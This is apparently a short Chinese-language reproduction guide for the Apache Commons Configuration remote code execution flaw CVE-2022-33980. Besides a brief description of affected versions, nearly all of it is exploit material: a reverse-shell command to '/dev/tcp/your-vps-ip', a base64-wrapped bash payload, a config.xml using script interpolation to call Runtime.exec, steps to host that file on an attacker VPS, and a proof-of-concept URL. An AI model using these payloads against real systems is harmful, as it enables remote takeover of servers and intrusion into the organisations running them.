# Apache Commons Configuration 远程命令执行漏洞 CVE-2022-33980 ## 漏洞描述 Apache Commons Configuration 是 Apache 基金会下的一个开源项目组件。它提供了一种通用的方式,让 Java 开发者可以使用统一的接口读取不同类型的配置文件。 该漏洞是由于 Apache Commons Configuration 提供的 Configuration 变量解释功能存在缺陷,攻击者可利用该漏洞在特定情况下,构造恶意数据执行远程代码。 ## 漏洞影响 ``` 2.4 <= Apache Commons Configuration <=2.7 ``` ## 漏洞复现 java payload: ``` # bash -i >& /dev/tcp/your-vps-ip/port 0>&1 bash -c {echo,}|{base64,-d}|{bash,-i} ``` config.xml: ``` ${script:js:java.lang.Runtime.getRuntime().exec("bash -c {echo,}|{base64,-d}|{bash,-i}")} ``` vps 开启 8888 端口托管 config.xml: ``` python -m http.server 8888 ``` poc: ``` http://vuln-ip/Url?url=http://your-vps-ip:8888/config.xml&data=path ``` ![](images/Apache%20Commons%20Configuration%20远程命令执行漏洞%20CVE-2022-33980/image-20240126181851899.png)